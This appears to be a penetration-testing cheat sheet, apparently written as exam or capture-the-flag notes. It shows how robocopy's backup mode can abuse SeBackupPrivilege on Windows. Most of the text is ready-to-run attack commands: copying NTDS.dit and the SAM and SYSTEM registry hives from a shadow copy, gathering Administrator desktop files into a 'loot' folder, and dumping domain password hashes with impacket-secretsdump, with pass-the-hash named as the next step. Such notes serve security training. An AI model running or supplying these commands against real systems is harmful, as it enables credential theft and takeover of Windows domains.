robocopy — Backup Mode (/b) for SeBackupPrivilege
Ctrl+F:
robocopy /b·backup mode·SeBackupPrivilege·NTDS
robocopy = robust file copy. Flag /b = backup mode — uses SeBackupPrivilege to bypass ACLs and copy locked files (e.g. NTDS.dit, registry hives, Admin-only files).
Full workflows → SeBackupPrivilege · often paired with diskshadow
Syntax
robocopy <source> <destination> [<file>] [options]📌 Backup mode (/b) — SeBackupPrivilege
robocopy /b <source_dir> <dest_dir> [<filename>]| Use case | Command |
|---|---|
| NTDS.dit from shadow E: | robocopy /b E:\Windows\NTDS . ntds.dit |
| SAM/SYSTEM from shadow | robocopy /b E:\Windows\System32\config . SAM |
| Admin Desktop loot | robocopy /b C:\Users\Administrator\Desktop\ C:\Temp\loot\ |
| Copy all config hives | robocopy /b E:\Windows\System32\config . SYSTEM |
Requires: SeBackupPrivilege Enabled (whoami /priv).
Does NOT work for: EFS-encrypted content without owner’s key — dump Admin hash first → PtH.
📌 DC NTDS dump (after diskshadow)
diskshadow /s C:\path\to\ine.txt
cd C:\Users\jackie\Desktop
robocopy /b E:\Windows\NTDS . ntds.dit
reg save hklm\system system# Kali
impacket-secretsdump -system system -ntds ntds.dit LOCAL→ diskshadow · SeBackupPrivilege > 📌 4) Method 3 — diskshadow + robocopy (DC NTDS)
📌 Admin desktop — read protected files
robocopy /b C:\Users\Administrator\Desktop\ C:\
type notes.txtMay get notes.txt but denied on EFS-encrypted root.txt until you have Administrator context.
📌 When robocopy fails
Use SeBackupPrivilege DLLs (Copy-FileSeBackupPrivilege) — normal copy and sometimes robocopy fail on heavily locked paths.
→ SeBackupPrivilege > 📌 5) Method 4 — diskshadow + SeBackupPrivilege DLLs
📌 Useful flags
| Flag | Purpose |
|---|---|
/b | Backup mode — SeBackupPrivilege abuse |
/copy:DAT | Data, attributes, timestamps (default) |
/r:1 /w:1 | Retry/wait (faster on exam) |
/LOG:file | Log output |